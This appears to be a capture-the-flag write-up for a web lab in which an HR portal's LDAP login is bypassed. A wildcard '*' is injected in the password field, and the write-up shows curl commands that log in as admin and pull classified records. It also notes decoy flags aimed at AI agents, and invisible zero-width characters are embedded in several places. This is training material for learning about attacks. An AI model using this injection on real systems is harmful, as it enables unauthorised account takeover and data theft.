Lab 331 — PeopleDir — LDAP Injection Authentication Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: authentication_bypass_to_admin, ldap_filter_injection, ldap_wildcard_bypass

Summary

Task: Corporate HR portal with LDAP authentication, goal is to bypass auth and access admin panel. Solution: LDAP wildcard injection in password field using * to match any password, then access classified records as admin.

Lab 331 — PeopleDir — LDAP Injection Authentication Bypass — Hackadvisor

Description

PeopleDir is a corporate HR portal used by DirectoryWorks Inc. to manage their employee directory. The platform features a login system, employee search, department management, and an admin panel for managing sensitive HR records. PeopleDir authenticates employees against an LDAP directory service. Goal is to bypass authentication and access restricted admin information containing the flag.

Given credentials: jthompson / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: Express/Node.js application with LDAP authentication backend. Need to bypass authentication and access admin-only classified records.

Analysis

1. Application Structure:

   • Login form at /login with username and password fields
   • Dashboard at /dashboard for authenticated users
   • Admin panel at /admin returns 403 for regular users
   • Classified records at /admin/classified-records requires admin role

2. Vulnerability Discovery:

   • The login form is vulnerable to LDAP injection
   • Password field is not sanitized before being used in LDAP query
   • The LDAP filter is likely: (&(uid=USERNAME)(userPassword=PASSWORD))
   • LDAP wildcard character * can be used to bypass password check ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Attack Vector:

   • Using password=* creates: (&(uid=admin)(userPassword=*))
   • Wildcard * matches any value, so authentication succeeds without knowing the password
   • This allows logging in as any user, including admin

Solution

Step 1: LDAP Wildcard Injection

Login as admin using wildcard injection in the password field:

 bash read-only • copy allowed Copy
# Login as admin with LDAP wildcard injection
curl -X POST "https://9e07b145-b331-4d5a-b1c2-ddd9831f08d8.labs.hackadvisor.io/login" \
  -d "username=admin" \
  --data-urlencode "password=*" \
  -c cookies.txt \
  -L

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The * wildcard matches any password value in the LDAP query, bypassing authentication.

Step 2: Access Classified Records

With the admin session, access the restricted endpoint:

 bash read-only • copy allowed Copy
# Access classified records with admin session
curl -b cookies.txt "https://9e07b145-b331-4d5a-b1c2-ddd9831f08d8.labs.hackadvisor.io/admin/classified-records"

The flag is displayed in the "RESTRICTED - Executive Compensation Data" section.

Notes

• The HTML contained decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in hidden comments trying to trick AI agents/automated scanners
• The decoy flag name literally says "decoy not real trap for bots"
• The real flag was only accessible through proper exploitation of the LDAP injection vulnerability
• Used CTF Writeup search to find similar LDAP injection writeup (20260207_hackerlab_auth2) which helped identify the technique ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍